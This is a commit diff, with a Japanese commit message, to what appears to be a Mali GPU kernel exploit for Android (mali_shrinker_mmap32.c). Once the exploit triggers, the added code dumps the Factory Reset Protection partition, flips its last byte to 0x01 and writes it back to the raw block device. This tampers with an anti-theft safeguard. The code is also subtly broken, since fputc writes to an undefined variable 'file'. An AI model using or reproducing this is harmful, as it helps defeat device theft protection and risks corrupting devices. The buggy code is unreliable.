FRP を自動で修正

Signed-off-by: Syuugo <[email protected]>

mali_shrinker_mmap32.c

@@ -870,7 +870,28 @@ int main() {
   int flush_idx = 0;
   for (int i = 0; i < 10; i++) {
     if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
+      printf("\nSELinux is ");
       system("getenforce");
+      printf("Tampering with FRP...");
+      system("rm -f /data/local/tmp/frp");
+      system("dd if=/dev/block/by-name/frp of=/data/local/tmp/frp");
+      FILE *frp = fopen("/data/local/tmp/frp", "r+b");
+      if (frp == NULL) {
+        perror("Couldn't read cloned FRP.");
+        return 1;
+      }
+      if (fseek(frp, 524288 - 1, SEEK_SET) != 0) {
+        perror("Error seeking to the last byte.");
+        fclose(frp);
+        return 1;
+      }
+      if (fputc(0x01, file) == EOF) {
+        perror("Failed to fix byte. (7FFF8:0x01)");
+        fclose(frp);
+        return 1;
+      }
+      fclose(frp);
+      system("dd if=/data/local/tmp/frp of=/dev/block/by-name/frp");
       break;
     }
   }